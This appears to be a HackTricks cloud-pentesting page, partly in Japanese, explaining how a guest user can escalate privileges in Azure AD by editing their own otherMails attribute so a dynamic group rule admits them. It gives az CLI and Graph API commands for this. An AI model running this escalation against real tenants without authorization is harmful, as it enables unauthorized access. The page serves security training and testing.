Az - Dynamic Groups Privesc

Reading time: 4 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Dynamic groupsは、設定された一連のrulesを持つグループであり、ルールに一致するすべてのusers or devicesがグループに追加されます。ユーザーまたはデバイスのattributechangedされるたびに、動的ルールがrecheckedされます。また、new rulecreatedされると、すべてのデバイスとユーザーがcheckedされます。

Dynamic groupsにはAzure RBAC rolesを割り当てることができますが、AzureAD rolesを動的グループに追加することはnot possibleです。

この機能にはAzure ADプレミアムP1ライセンスが必要です。

Privesc

デフォルトでは、任意のユーザーがAzure ADでゲストを招待できるため、動的グループのruleattributesに基づいてユーザーにpermissionsを与える場合、新しいguestでこの属性をsetすることでcreate a guestし、escalate privilegesすることが可能です。また、ゲストは自分のプロフィールを管理し、これらの属性を変更することも可能です。

動的メンバーシップを許可するグループを取得します: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

  • Rule example: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • Rule description: 'security'という文字列を含む二次メールを持つゲストユーザーはグループに追加されます。

ゲストユーザーのメールで招待を受け入れ、https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactViewthat userの現在の設定を確認します。
残念ながら、ページでは属性値を変更することができないため、APIを使用する必要があります。

bash
# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする